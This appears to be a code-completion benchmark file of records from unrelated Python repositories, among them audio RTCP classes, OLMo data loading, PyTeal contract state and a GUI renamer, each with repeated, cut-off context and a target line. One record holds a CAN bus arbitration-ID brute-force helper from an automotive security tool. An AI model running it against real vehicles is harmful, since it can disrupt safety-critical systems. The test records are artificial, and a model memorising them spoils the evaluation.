c: :class:`int` The total number of RTP data packets from source SSRC that have been lost since the beginning of reception. ehsn: :class:`int` The low 16 bits contain the highest sequence number received in an RTP data packet from source SSRC, and the most significant 16 bits extend that sequence number with the corresponding count of sequence number cycles. j: :class:`int` An estimate of the statistical variance of the RTP data packet interarrival time, measured in timestamp units and expressed as an unsigned integer. lsr: :class:`int` The middle 32 bits out of 64 in the NTP timestamp received as part of the most recent RTCP sender report (SR) packet from source SSRC. If no SR has been received yet, the field is set to zero. dlsr: :class:`int` The delay, expressed in units of 1/65536 seconds, between receiving the last SR packet from source SSRC and sending this reception report block. If no SR packet has been received yet from SSRC, the DLSR field is set to zero. """ __slots__ = ( "ssrc", "f", "c", "ehsn", "j", "lsr", "dlsr", ) ssrc: int f: int c: int ehsn: int j: int lsr: int dlsr: int @dataclass class RTCPSourceDescriptionItem: """An item of a :class:`RTCPSourceDescriptionChunk` object Attributes ---------- cname: :class:`int` Type of description. description: :class:`bytes` Description pertaining to the source of the chunk containing this item. """ __slots__ = ( "cname", "description", ) cname: int description: bytes @dataclass class RTCPSourceDescriptionChunk: """A chunk of a :class:`RTCPSourceDescriptionPacket` object. Contains items that describe a source. Attributes ---------- ssrc: :class:`int` The source which is being described. items: Sequence[:class:`RTCPSourceDescriptionItem`] A sequence of items which have a description. """ __slots__ = ( "ssrc", "items", ) ssrc: int items: Sequence[RTCPSourceDescriptionItem] class RTCPPacket: """Base class for all RTCP packet classes. Contains header attributes. Read in detail here: https://www.freesoft.org/CIE/RFC/1889/19.htm Attributes ---------- v: :class:`int` Identifies the version of RTP, which is the same in RTCP packets as in RTP data packets. p: :class:`bool` If the padding bit is set, this RTCP packet contains some additional padding octets at the end which are not part of the control information. The last octet of the padding is a count of how many padding octets should be ignored. rc: :class:`int` Indicates the number of "items" within a packet. For sender and receiver packets it indicates the number of Receiver Report Blocks. pt: :class:`RTCPMessageType` Indicates the RTCP packet type. l: :class:`int` The length of this RTCP packet in 32-bit words minus one, including the header and any padding. """ __slots__ = ( "v", "p", "rc", "pt", "l", ) if TYPE_CHECKING: v: int p: bool rc: int

if TYPE_CHECKING: __all__ = ( "AudioFrame", "AudioSink", "AudioHandlingSink", "AudioFileSink", "AudioFile", "WaveAudioFile", "MP3AudioFile", "RTCPPacket", "RTCPSenderReportPacket", "RTCPReceiverReportPacket", "RTCPSourceDescriptionPacket", "RTCPGoodbyePacket", "RTCPApplicationDefinedPacket", "RTCPReceiverReportBlock", "RTCPSourceDescriptionChunk", "RTCPSourceDescriptionItem", ) SILENT_FRAME = b"\xf8\xff\xfe" _log = logging.getLogger(__name__) @dataclass class RTCPReceiverReportBlock: """Receiver report block from :class:`RTCPSenderReportPacket` or :class:`RTCPReceiverReportPacket` Conveys statistics on the reception of RTP packets from a single synchronization source. Read in detail here: https://www.freesoft.org/CIE/RFC/1889/19.htm Attributes ---------- ssrc: :class:`int` The SSRC identifier of the source to which the information in this reception report block pertains. f: :class:`int` The fraction of RTP data packets from source SSRC lost since the previous SR or RR packet was sent. c: :class:`int` The total number of RTP data packets from source SSRC that have been lost since the beginning of reception. ehsn: :class:`int` The low 16 bits contain the highest sequence number received in an RTP data packet from source SSRC, and the most significant 16 bits extend that sequence number with the corresponding count of sequence number cycles. j: :class:`int` An estimate of the statistical variance of the RTP data packet interarrival time, measured in timestamp units and expressed as an unsigned integer. lsr: :class:`int` The middle 32 bits out of 64 in the NTP timestamp received as part of the most recent RTCP sender report (SR) packet from source SSRC. If no SR has been received yet, the field is set to zero. dlsr: :class:`int` The delay, expressed in units of 1/65536 seconds, between receiving the last SR packet from source SSRC and sending this reception report block. If no SR packet has been received yet from SSRC, the DLSR field is set to zero. """ __slots__ = ( "ssrc", "f", "c", "ehsn", "j", "lsr", "dlsr", ) ssrc: int f: int c: int ehsn: int j: int lsr: int dlsr: int @dataclass class RTCPSourceDescriptionItem: """An item of a :class:`RTCPSourceDescriptionChunk` object Attributes ---------- cname: :class:`int` Type of description. description: :class:`bytes` Description pertaining to the source of the chunk containing this item. """ __slots__ = ( "cname", "description", ) cname: int description: bytes @dataclass class RTCPSourceDescriptionChunk: """A chunk of a :class:`RTCPSourceDescriptionPacket` object. Contains items that describe a source. Attributes ---------- ssrc: :class:`int` The source which is being described. items: Sequence[:class:`RTCPSourceDescriptionItem`] A sequence of items which have a description. """ __slots__ = ( "ssrc", "items", ) ssrc: int items: Sequence[RTCPSourceDescriptionItem] class RTCPPacket: """Base class for all RTCP packet classes. Contains header attributes. Read in detail here: https://www.freesoft.org/CIE/RFC/1889/19.htm Attributes ---------- v: :class:`int` Identifies the version of RTP, which is the same in RTCP packets as in RTP data packets. p: :class:`bool` If the padding bit is set, this RTCP packet contains some additional padding octets at the end which are not part of the control information. The last octet of the padding is a count of how many padding octets should be ignored. rc: :class:`int` Indicates the number of "items" within a packet. For sender and receiver packets it indicates the number of Receiver Report Blocks. pt: :class:`RTCPMessageType` Indicates the RTCP packet type. l: :class:`int` The length of this RTCP packet in 32-bit words minus one, including the header and any padding. """ __slots__ = ( "v", "p", "rc", "pt", "l", ) if TYPE_CHECKING: v: int p: bool rc: int

pt: RTCPMessageType

2023-11-15 00:16:36+00:00

2k

RAIVNLab/MatFormer-OLMo

olmo/data/iterable_dataset.py

import logging import math import numpy as np import torch import torch.utils.data from pathlib import Path from typing import Any, Dict, Iterator, List, Optional, Sequence, Union from ..aliases import PathOrStr from ..util import barrier, get_global_rank, get_world_size

__all__ = ["IterableDataset"] log = logging.getLogger(__name__) class IterableDataset(torch.utils.data.IterableDataset[Dict[str, Any]]): """ Adapted from PyTorch's DistributedSampler, this wraps a Dataset or arbitrary sequence as an IterableDataset that can be deterministically restarted at any point by setting `start_index`, which should be a multiple of your global batch size. Similarly `max_examples`, if set, should be a multiple of global batch size. """ def __init__( self, dataset: Union[Sequence[List[int]], Sequence[torch.Tensor], Sequence[Dict[str, Any]]], *, seed: int = 0, start_index: int = 0, max_examples: Optional[int] = None, shuffle: bool = True, drop_last: bool = False, world_size: Optional[int] = None, rank: Optional[int] = None, work_dir: Optional[PathOrStr] = None, ): self.dataset = dataset self.seed = seed self.start_index = start_index self.max_examples = max_examples self.shuffle = shuffle self.drop_last = drop_last self.rank = rank if rank is not None else get_global_rank() self.world_size = world_size if world_size is not None else get_world_size() # If the dataset length is evenly divisible by # of replicas, then there # is no need to drop any data, since the dataset will be split equally. if self.drop_last and len(self.dataset) % self.world_size != 0: # type: ignore[arg-type] # Split to nearest available length that is evenly divisible by world size. # This is to ensure each rank receives the same amount of data. num_samples = math.ceil( (len(self.dataset) - self.world_size) / self.world_size # type: ignore[arg-type] ) else: num_samples = math.ceil(len(self.dataset) / self.world_size) # type: ignore[arg-type] self.total_size = num_samples * self.world_size self.global_indices_file: Optional[Path] = None if work_dir is not None: self.global_indices_file = Path(work_dir) / "global_indices.npy" if self.rank == 0: log.info("Saving global data order indices...") self.global_indices_file.parent.mkdir(parents=True, exist_ok=True) global_indices = self._build_global_indices() global_indices_mmap = np.memmap( self.global_indices_file, dtype=np.uint64, mode="w+", shape=(len(global_indices),) ) global_indices_mmap[:] = global_indices global_indices_mmap.flush() del global_indices_mmap log.info("Global data order indices saved to '%s'", self.global_indices_file)

__all__ = ["IterableDataset"] log = logging.getLogger(__name__) class IterableDataset(torch.utils.data.IterableDataset[Dict[str, Any]]): """ Adapted from PyTorch's DistributedSampler, this wraps a Dataset or arbitrary sequence as an IterableDataset that can be deterministically restarted at any point by setting `start_index`, which should be a multiple of your global batch size. Similarly `max_examples`, if set, should be a multiple of global batch size. """ def __init__( self, dataset: Union[Sequence[List[int]], Sequence[torch.Tensor], Sequence[Dict[str, Any]]], *, seed: int = 0, start_index: int = 0, max_examples: Optional[int] = None, shuffle: bool = True, drop_last: bool = False, world_size: Optional[int] = None, rank: Optional[int] = None, work_dir: Optional[PathOrStr] = None, ): self.dataset = dataset self.seed = seed self.start_index = start_index self.max_examples = max_examples self.shuffle = shuffle self.drop_last = drop_last self.rank = rank if rank is not None else get_global_rank() self.world_size = world_size if world_size is not None else get_world_size() # If the dataset length is evenly divisible by # of replicas, then there # is no need to drop any data, since the dataset will be split equally. if self.drop_last and len(self.dataset) % self.world_size != 0: # type: ignore[arg-type] # Split to nearest available length that is evenly divisible by world size. # This is to ensure each rank receives the same amount of data. num_samples = math.ceil( (len(self.dataset) - self.world_size) / self.world_size # type: ignore[arg-type] ) else: num_samples = math.ceil(len(self.dataset) / self.world_size) # type: ignore[arg-type] self.total_size = num_samples * self.world_size self.global_indices_file: Optional[Path] = None if work_dir is not None: self.global_indices_file = Path(work_dir) / "global_indices.npy" if self.rank == 0: log.info("Saving global data order indices...") self.global_indices_file.parent.mkdir(parents=True, exist_ok=True) global_indices = self._build_global_indices() global_indices_mmap = np.memmap( self.global_indices_file, dtype=np.uint64, mode="w+", shape=(len(global_indices),) ) global_indices_mmap[:] = global_indices global_indices_mmap.flush() del global_indices_mmap log.info("Global data order indices saved to '%s'", self.global_indices_file)

barrier()

2023-11-14 02:24:07+00:00

2k

1in-oos/ccplus

caringcaribou/utils/can_actions.py

from caringcaribou.utils.constants import ARBITRATION_ID_MAX, ARBITRATION_ID_MAX_EXTENDED, ARBITRATION_ID_MIN, BYTE_MAX, BYTE_MIN from sys import stdout, version_info import can import time

if print_results: time_left = end_time - time.time() num_matches = len(blacklist) print("\r{0:> 5.1f} seconds left, {1} found".format(time_left, num_matches), end="") stdout.flush() # Receive message msg = bus.recv(0.1) if msg is None: continue # Classify if classifier_function(msg): # Add to blacklist blacklist.add(msg.arbitration_id) if print_results: num_matches = len(blacklist) print("\r 0.0 seconds left, {0} found".format(num_matches), end="") if len(blacklist) > 0: print("\n Detected IDs: {0}".format(" ".join(sorted(list(map(hex, blacklist)))))) else: print() return blacklist class CanActions: def __init__(self, arb_id=None, notifier_enabled=True): """ CanActions constructor :param arb_id: int default arbitration ID for object or None :param notifier_enabled: bool indicating whether a notifier for incoming message callbacks should be enabled """ self.bus = can.Bus(DEFAULT_INTERFACE) self.arb_id = arb_id self.bruteforce_running = False self.notifier = None if notifier_enabled: self.enable_notifier() def __enter__(self): return self def __exit__(self, exc_type, exc_val, exc_tb): if self.notifier is not None: self.disable_notifier() self.bus.shutdown() def enable_notifier(self): self.notifier = can.Notifier(self.bus, listeners=[]) def disable_notifier(self): self.clear_listeners() # Prevent threading errors by stopping notifier gracefully self.notifier.stop(NOTIFIER_STOP_DURATION) self.notifier = None def add_listener(self, listener): self.notifier.listeners.append(listener) def clear_listeners(self): self.notifier.listeners = [] def set_listener(self, listener): self.clear_listeners() self.add_listener(listener) def send(self, data, arb_id=None, is_extended=None, is_error=False, is_remote=False): if len(data) > 8: raise IndexError("Invalid CAN message length: {0}".format(len(data))) # Fallback to default arbitration ID (self.arb_id) if no other ID is specified if arb_id is None: if self.arb_id is None: raise ValueError("Arbitration ID must be set through either 'arb_id' argument or self.arb_id") arb_id = self.arb_id # Force extended flag if it is unspecified and arbitration ID is larger than the standard format allows if is_extended is None: is_extended = arb_id > ARBITRATION_ID_MAX msg = can.Message(arbitration_id=arb_id, data=data, is_extended_id=is_extended, is_error_frame=is_error, is_remote_frame=is_remote) self.bus.send(msg) def bruteforce_arbitration_id(self, data, callback, min_id, max_id, callback_end=None): # Set limits if min_id is None: min_id = ARBITRATION_ID_MIN if max_id is None: if min_id <= ARBITRATION_ID_MAX: max_id = ARBITRATION_ID_MAX else: # If min_id is extended, use an extended default max_id as well max_id = ARBITRATION_ID_MAX_EXTENDED # Sanity checks if min_id > max_id: if callback_end: callback_end("Invalid range: min > max") return # Start bruteforce self.bruteforce_running = True for arb_id in range(min_id, max_id + 1): self.notifier.listeners = [callback(arb_id)] # Use standard addressing (11 bits arbitration ID) instead of extended (29 bits) when possible extended = False if arb_id > ARBITRATION_ID_MAX: extended = True msg = can.Message(arbitration_id=arb_id, data=data, is_extended_id=extended) self.bus.send(msg) time.sleep(MESSAGE_DELAY) # Return if stopped by calling module if not self.bruteforce_running: self.clear_listeners() return # Callback if bruteforce finished without being stopped if callback_end: self.clear_listeners() callback_end("Bruteforce of range 0x{0:x}-0x{1:x} completed".format(min_id, max_id))

from __future__ import print_function # Handle large ranges efficiently in both python 2 and 3 if version_info[0] == 2: range = xrange MESSAGE_DELAY = 0.1 DELAY_STEP = 0.02 NOTIFIER_STOP_DURATION = 0.5 # Global CAN interface setting, which can be set through the -i flag to cc.py # The value None corresponds to the default CAN interface (typically can0) DEFAULT_INTERFACE = None def auto_blacklist(bus, duration, classifier_function, print_results): """Listens for false positives on the CAN bus and generates an arbitration ID blacklist. Finds all can.Message <msg> on 'bus' where 'classifier_function(msg)' evaluates to True. Terminates after 'duration' seconds and returns a set of all matching arbitration IDs. Prints progress, time countdown and list of results if 'print_results' is True. :param bus: CAN bus instance :param duration: duration in seconds :param classifier_function: function which, when called upon a can.Message instance, returns a bool indicating if it should be blacklisted :param print_results: whether progress and results should be printed to stdout :type bus: can.Bus :type duration: float :type classifier_function: function :type print_results: bool :return set of matching arbitration IDs to blacklist :rtype set(int) """ if print_results: print("Scanning for arbitration IDs to blacklist") blacklist = set() start_time = time.time() end_time = start_time + duration while time.time() < end_time: if print_results: time_left = end_time - time.time() num_matches = len(blacklist) print("\r{0:> 5.1f} seconds left, {1} found".format(time_left, num_matches), end="") stdout.flush() # Receive message msg = bus.recv(0.1) if msg is None: continue # Classify if classifier_function(msg): # Add to blacklist blacklist.add(msg.arbitration_id) if print_results: num_matches = len(blacklist) print("\r 0.0 seconds left, {0} found".format(num_matches), end="") if len(blacklist) > 0: print("\n Detected IDs: {0}".format(" ".join(sorted(list(map(hex, blacklist)))))) else: print() return blacklist class CanActions: def __init__(self, arb_id=None, notifier_enabled=True): """ CanActions constructor :param arb_id: int default arbitration ID for object or None :param notifier_enabled: bool indicating whether a notifier for incoming message callbacks should be enabled """ self.bus = can.Bus(DEFAULT_INTERFACE) self.arb_id = arb_id self.bruteforce_running = False self.notifier = None if notifier_enabled: self.enable_notifier() def __enter__(self): return self def __exit__(self, exc_type, exc_val, exc_tb): if self.notifier is not None: self.disable_notifier() self.bus.shutdown() def enable_notifier(self): self.notifier = can.Notifier(self.bus, listeners=[]) def disable_notifier(self): self.clear_listeners() # Prevent threading errors by stopping notifier gracefully self.notifier.stop(NOTIFIER_STOP_DURATION) self.notifier = None def add_listener(self, listener): self.notifier.listeners.append(listener) def clear_listeners(self): self.notifier.listeners = [] def set_listener(self, listener): self.clear_listeners() self.add_listener(listener) def send(self, data, arb_id=None, is_extended=None, is_error=False, is_remote=False): if len(data) > 8: raise IndexError("Invalid CAN message length: {0}".format(len(data))) # Fallback to default arbitration ID (self.arb_id) if no other ID is specified if arb_id is None: if self.arb_id is None: raise ValueError("Arbitration ID must be set through either 'arb_id' argument or self.arb_id") arb_id = self.arb_id # Force extended flag if it is unspecified and arbitration ID is larger than the standard format allows if is_extended is None: is_extended = arb_id > ARBITRATION_ID_MAX msg = can.Message(arbitration_id=arb_id, data=data, is_extended_id=is_extended, is_error_frame=is_error, is_remote_frame=is_remote) self.bus.send(msg) def bruteforce_arbitration_id(self, data, callback, min_id, max_id, callback_end=None): # Set limits if min_id is None: min_id = ARBITRATION_ID_MIN if max_id is None: if min_id <= ARBITRATION_ID_MAX: max_id = ARBITRATION_ID_MAX else: # If min_id is extended, use an extended default max_id as well max_id = ARBITRATION_ID_MAX_EXTENDED # Sanity checks if min_id > max_id: if callback_end: callback_end("Invalid range: min > max") return # Start bruteforce self.bruteforce_running = True for arb_id in range(min_id, max_id + 1): self.notifier.listeners = [callback(arb_id)] # Use standard addressing (11 bits arbitration ID) instead of extended (29 bits) when possible extended = False if arb_id > ARBITRATION_ID_MAX: extended = True msg = can.Message(arbitration_id=arb_id, data=data, is_extended_id=extended) self.bus.send(msg) time.sleep(MESSAGE_DELAY) # Return if stopped by calling module if not self.bruteforce_running: self.clear_listeners() return # Callback if bruteforce finished without being stopped if callback_end: self.clear_listeners() callback_end("Bruteforce of range 0x{0:x}-0x{1:x} completed".format(min_id, max_id))

def bruteforce_data(self, data, bruteforce_index, callback, min_value=BYTE_MIN, max_value=BYTE_MAX,

2023-11-13 05:05:46+00:00

2k

L1bra1/WeakMotion

predict_FGBG_mask.py

import torch import torch.nn as nn import torch.optim as optim import torch.nn.functional as F import numpy as np import time import sys import argparse import os from weak_model import PreSegNet from data.weak_utils import remove_close, filter_pc, convert_semantic_to_FGBG, gen_voxel_indices_for_pc, convert_semantic_to_FGBG_waymo from sklearn.metrics import confusion_matrix from tqdm import tqdm

def check_folder(folder_path): if not os.path.exists(folder_path): os.mkdir(folder_path) return folder_path height_feat_size = 13 # The size along the height dimension parser = argparse.ArgumentParser() parser.add_argument('-d', '--data', default='/path_to/nuScenes/weak-data/train', type=str, help='The path to the preprocessed sparse BEV training data') parser.add_argument('-s', '--save_FB', default='/path_to/nuScenes/FGBG-data/', type=str, help='The path to the preprocessed sparse BEV training data') parser.add_argument('--datatype', default='nuScenes', type=str, choices=['Waymo', 'nuScenes']) parser.add_argument('--pretrained', default='pretrained/nuscenes_seg_0-01.pth', type=str) parser.add_argument('--gpu', default='0') args = parser.parse_args() print(args) os.environ['CUDA_VISIBLE_DEVICES'] = args.gpu datatype = args.datatype def main(): # Specify gpu device device = torch.device("cuda" if torch.cuda.is_available() else "cpu") device_num = torch.cuda.device_count() print("device number", device_num) voxel_size = (0.25, 0.25, 0.4) if datatype == 'nuScenes': area_extents = np.array([[-32., 32.], [-32., 32.], [-3., 2.]]) elif datatype == 'Waymo': area_extents = np.array([[-32., 32.], [-32., 32.], [-1., 4.]]) dims = (256, 256, 13)

def check_folder(folder_path): if not os.path.exists(folder_path): os.mkdir(folder_path) return folder_path height_feat_size = 13 # The size along the height dimension parser = argparse.ArgumentParser() parser.add_argument('-d', '--data', default='/path_to/nuScenes/weak-data/train', type=str, help='The path to the preprocessed sparse BEV training data') parser.add_argument('-s', '--save_FB', default='/path_to/nuScenes/FGBG-data/', type=str, help='The path to the preprocessed sparse BEV training data') parser.add_argument('--datatype', default='nuScenes', type=str, choices=['Waymo', 'nuScenes']) parser.add_argument('--pretrained', default='pretrained/nuscenes_seg_0-01.pth', type=str) parser.add_argument('--gpu', default='0') args = parser.parse_args() print(args) os.environ['CUDA_VISIBLE_DEVICES'] = args.gpu datatype = args.datatype def main(): # Specify gpu device device = torch.device("cuda" if torch.cuda.is_available() else "cpu") device_num = torch.cuda.device_count() print("device number", device_num) voxel_size = (0.25, 0.25, 0.4) if datatype == 'nuScenes': area_extents = np.array([[-32., 32.], [-32., 32.], [-3., 2.]]) elif datatype == 'Waymo': area_extents = np.array([[-32., 32.], [-32., 32.], [-1., 4.]]) dims = (256, 256, 13)

model = PreSegNet(FGBG_category_num=2, height_feat_size=height_feat_size)

2023-11-12 07:03:29+00:00

2k

c3exchange/c3-smartcontracts-v1

contracts_unified/core/state_handler/global_handler.py

from typing import cast from pyteal import ( ABIReturnSubroutine, App, Assert, Btoi, Bytes, Expr, Global, Int, Len, MinBalance, Pop, Seq, abi, ) from contracts_unified.library.c3types import ( InstrumentId, InstrumentListElement, LiquidationFactors, ) from contracts_unified.library.constants import ADDRESS_SIZE

@staticmethod def set_pricecaster_id(pricecaster_id) -> Expr: """Sets the App id of the pricecaster""" return App.globalPut(KEY_PRICECASTER_ID, Btoi(pricecaster_id)) @staticmethod def get_wormhole_bridge_id() -> Expr: """Gets the App id of the wormhole bridge""" return App.globalGet(KEY_WORMHOLE_BRIDGE_ID) @staticmethod def set_wormhole_bridge_id(wormhole_bridge_id) -> Expr: """Sets the App id of the wormhole bridge""" return App.globalPut(KEY_WORMHOLE_BRIDGE_ID, Btoi(wormhole_bridge_id)) @staticmethod @ABIReturnSubroutine def set_address(key, address) -> Expr: """Sets an address in the global storage checking the length""" return Seq( Assert(Len(address) == Int(ADDRESS_SIZE)), App.globalPut(key, address) ) @staticmethod def get_signature_validator() -> Expr: """Checks the address of the signature validator""" return App.globalGet(KEY_SIGNATURE_VALIDATOR) @staticmethod def set_signature_validator(signature_validator) -> Expr: """Sets the address of the signature validator""" return cast(Expr, GlobalStateHandler.set_address(KEY_SIGNATURE_VALIDATOR, signature_validator)) @staticmethod def get_operator_address() -> Expr: """Gets the address of the operator""" return App.globalGet(KEY_OPERATOR_ADDRESS) @staticmethod def set_operator_address(operator_address) -> Expr: """Sets the address of the operator""" return cast(Expr, GlobalStateHandler.set_address(KEY_OPERATOR_ADDRESS, operator_address)) @staticmethod def get_quant_address() -> Expr: """Gets the quant address""" return App.globalGet(KEY_QUANT_ADDRESS) @staticmethod def set_quant_address(quant_address) -> Expr: """Sets the quant address""" return cast(Expr, GlobalStateHandler.set_address(KEY_QUANT_ADDRESS, quant_address)) @staticmethod def get_fee_target() -> Expr: """Gets the fee target address""" return App.globalGet(KEY_FEE_TARGET) @staticmethod def set_fee_target(fee_target_address) -> Expr: """Sets the fee target address""" return cast(Expr, GlobalStateHandler.set_address(KEY_FEE_TARGET, fee_target_address)) @staticmethod def get_withdraw_buffer() -> Expr: """Gets the withdraw buffer address""" return App.globalGet(KEY_WITHDRAW_BUFFER) @staticmethod def set_withdraw_buffer(withdraw_buffer) -> Expr: """Sets the withdraw buffer address""" return cast(Expr, GlobalStateHandler.set_address(KEY_WITHDRAW_BUFFER, withdraw_buffer)) @staticmethod @ABIReturnSubroutine def ensure_mbr_fund() -> Expr: """Ensures the current mbr is lower than the fund""" return Assert(MinBalance(Global.current_application_address()) <= App.globalGet(KEY_MBR_FUND)) @staticmethod def add_mbr_fund(mbr_fund) -> Expr: """Increments the mbr fund amount by an amount""" return App.globalPut(KEY_MBR_FUND, App.globalGet(KEY_MBR_FUND) + mbr_fund) @staticmethod def get_liquidation_factors() -> Expr: """Gets the object representing the liquidation factors""" return App.globalGet(KEY_LIQUIDATION_FACTORS) @staticmethod def set_liquidation_factors(factors) -> Expr: """Sets the global liquidation factors""" factors_size = abi.make(LiquidationFactors).type_spec().byte_length_static() return Seq( Assert(Len(factors) == Int(factors_size)), App.globalPut(KEY_LIQUIDATION_FACTORS, factors), ) @staticmethod @ABIReturnSubroutine def get_instrument(

"""Implements core contract global state handler""" KEY_INIT_TIMESTAMP = Bytes("t") KEY_INSTRUMENT_COUNT = Bytes("c") KEY_MBR_FUND = Bytes("m") KEY_PRICECASTER_ID = Bytes("p") KEY_WORMHOLE_BRIDGE_ID = Bytes("b") KEY_LIQUIDATION_FACTORS = Bytes("l") KEY_SIGNATURE_VALIDATOR = Bytes("s") KEY_WITHDRAW_BUFFER = Bytes("w") KEY_QUANT_ADDRESS = Bytes("q") KEY_OPERATOR_ADDRESS = Bytes("o") KEY_FEE_TARGET = Bytes("f") class GlobalStateHandler: """Global state handler""" instrument_size = abi.make(InstrumentListElement).type_spec().byte_length_static() max_instrument_count = 80 # NOTE: Most of these methods are not subroutines for performance reasons @staticmethod def initialize() -> Expr: """Initialize the global blob""" return Pop(App.box_create(Bytes("i"), Int(GlobalStateHandler.instrument_size * GlobalStateHandler.max_instrument_count))) @staticmethod def get_relative_timestamp() -> Expr: """Gets the relative timestamp""" return Global.latest_timestamp() - App.globalGet(KEY_INIT_TIMESTAMP) @staticmethod def set_init_timestamp() -> Expr: """Sets the initial timestamp""" return App.globalPut(KEY_INIT_TIMESTAMP, Global.latest_timestamp()) @staticmethod def get_instrument_count() -> Expr: """Gets the number of instruments""" return App.globalGet(KEY_INSTRUMENT_COUNT) @staticmethod def set_instrument_count(instrument_count) -> Expr: """Sets the number of instruments""" return App.globalPut(KEY_INSTRUMENT_COUNT, instrument_count) @staticmethod def get_pricecaster_id() -> Expr: """Gets the App id of the pricecaster""" return App.globalGet(KEY_PRICECASTER_ID) @staticmethod def set_pricecaster_id(pricecaster_id) -> Expr: """Sets the App id of the pricecaster""" return App.globalPut(KEY_PRICECASTER_ID, Btoi(pricecaster_id)) @staticmethod def get_wormhole_bridge_id() -> Expr: """Gets the App id of the wormhole bridge""" return App.globalGet(KEY_WORMHOLE_BRIDGE_ID) @staticmethod def set_wormhole_bridge_id(wormhole_bridge_id) -> Expr: """Sets the App id of the wormhole bridge""" return App.globalPut(KEY_WORMHOLE_BRIDGE_ID, Btoi(wormhole_bridge_id)) @staticmethod @ABIReturnSubroutine def set_address(key, address) -> Expr: """Sets an address in the global storage checking the length""" return Seq( Assert(Len(address) == Int(ADDRESS_SIZE)), App.globalPut(key, address) ) @staticmethod def get_signature_validator() -> Expr: """Checks the address of the signature validator""" return App.globalGet(KEY_SIGNATURE_VALIDATOR) @staticmethod def set_signature_validator(signature_validator) -> Expr: """Sets the address of the signature validator""" return cast(Expr, GlobalStateHandler.set_address(KEY_SIGNATURE_VALIDATOR, signature_validator)) @staticmethod def get_operator_address() -> Expr: """Gets the address of the operator""" return App.globalGet(KEY_OPERATOR_ADDRESS) @staticmethod def set_operator_address(operator_address) -> Expr: """Sets the address of the operator""" return cast(Expr, GlobalStateHandler.set_address(KEY_OPERATOR_ADDRESS, operator_address)) @staticmethod def get_quant_address() -> Expr: """Gets the quant address""" return App.globalGet(KEY_QUANT_ADDRESS) @staticmethod def set_quant_address(quant_address) -> Expr: """Sets the quant address""" return cast(Expr, GlobalStateHandler.set_address(KEY_QUANT_ADDRESS, quant_address)) @staticmethod def get_fee_target() -> Expr: """Gets the fee target address""" return App.globalGet(KEY_FEE_TARGET) @staticmethod def set_fee_target(fee_target_address) -> Expr: """Sets the fee target address""" return cast(Expr, GlobalStateHandler.set_address(KEY_FEE_TARGET, fee_target_address)) @staticmethod def get_withdraw_buffer() -> Expr: """Gets the withdraw buffer address""" return App.globalGet(KEY_WITHDRAW_BUFFER) @staticmethod def set_withdraw_buffer(withdraw_buffer) -> Expr: """Sets the withdraw buffer address""" return cast(Expr, GlobalStateHandler.set_address(KEY_WITHDRAW_BUFFER, withdraw_buffer)) @staticmethod @ABIReturnSubroutine def ensure_mbr_fund() -> Expr: """Ensures the current mbr is lower than the fund""" return Assert(MinBalance(Global.current_application_address()) <= App.globalGet(KEY_MBR_FUND)) @staticmethod def add_mbr_fund(mbr_fund) -> Expr: """Increments the mbr fund amount by an amount""" return App.globalPut(KEY_MBR_FUND, App.globalGet(KEY_MBR_FUND) + mbr_fund) @staticmethod def get_liquidation_factors() -> Expr: """Gets the object representing the liquidation factors""" return App.globalGet(KEY_LIQUIDATION_FACTORS) @staticmethod def set_liquidation_factors(factors) -> Expr: """Sets the global liquidation factors""" factors_size = abi.make(LiquidationFactors).type_spec().byte_length_static() return Seq( Assert(Len(factors) == Int(factors_size)), App.globalPut(KEY_LIQUIDATION_FACTORS, factors), ) @staticmethod @ABIReturnSubroutine def get_instrument(

instrument_id: InstrumentId,

2023-11-17 20:54:15+00:00

2k

gunderson-dettmer/CE2OCF

CE2OCF/ocf/mocks/stockholders.py

import random import uuid from faker import Faker from CE2OCF.ocf.mocks.company import fake_phone_number from CE2OCF.types.enums import ( DoubleTriggerTypesEnum, PaidWithOptionsEnum, SingleTriggerTypesEnum, VestingTypesEnum, ) from CE2OCF.types.models import Stockholder

fake = Faker() def sum_shares(stockholder_list: list[Stockholder]) -> tuple[int, int]: total_FFPreferredShares = 0 total_Shares = 0 for stockholder in stockholder_list: if stockholder.FFPreferredShares is not None: total_FFPreferredShares += stockholder.FFPreferredShares if stockholder.Shares is not None: total_Shares += stockholder.Shares # if Shares are floats, replace with `float(stockholder.Shares)` return total_FFPreferredShares, total_Shares def mock_stockholder() -> Stockholder: return Stockholder( id=uuid.uuid4().__str__(),

fake = Faker() def sum_shares(stockholder_list: list[Stockholder]) -> tuple[int, int]: total_FFPreferredShares = 0 total_Shares = 0 for stockholder in stockholder_list: if stockholder.FFPreferredShares is not None: total_FFPreferredShares += stockholder.FFPreferredShares if stockholder.Shares is not None: total_Shares += stockholder.Shares # if Shares are floats, replace with `float(stockholder.Shares)` return total_FFPreferredShares, total_Shares def mock_stockholder() -> Stockholder: return Stockholder( id=uuid.uuid4().__str__(),

DoubleTrigger=random.choice(list(DoubleTriggerTypesEnum)),

2023-11-13 15:50:53+00:00

2k

Hellohistory/EbookDataRename.py

main.py

import sys from PyQt5.QtWidgets import (QApplication, QMainWindow, QWidget, QVBoxLayout, QHBoxLayout, QPushButton, QLineEdit, QProgressBar, QTableWidget, QRadioButton, QCheckBox, QFileDialog, QTableWidgetItem) from PyQt5.QtCore import QSize from opencc import OpenCC from model.database_handler import queryDatabaseForFileNames from model.file_handler import get_files_from_directory from model.rename_handler import startRenamingFiles

class MainGUI(QMainWindow): def __init__(self): super().__init__() self.cc = OpenCC('s2t') self.original_names = {} self.initUI() def applyTraditionalSimplifiedConversion(self): total_rows = self.tableWidget.rowCount() for row in range(total_rows): original_text_item = self.tableWidget.item(row, 1) if original_text_item: if self.traditionalSimplifiedCheckBox.isChecked(): if row not in self.original_names: self.original_names[row] = original_text_item.text() converted_text = self.cc.convert(self.original_names[row]) self.tableWidget.setItem(row, 1, QTableWidgetItem(converted_text)) else: if row in self.original_names: self.tableWidget.setItem(row, 1, QTableWidgetItem(self.original_names[row])) def initUI(self): self.setWindowTitle('EbookDataRename V0.0.1') self.setMinimumSize(QSize(800, 600)) centralWidget = QWidget(self) self.setCentralWidget(centralWidget) mainLayout = QVBoxLayout(centralWidget) self.setupLayout(mainLayout) self.applyMaterialDesignStyle() def initiateDatabaseQuery(self): db_path = self.local_db_lineedit.text() folder_path = self.targetFolderLineEdit.text()

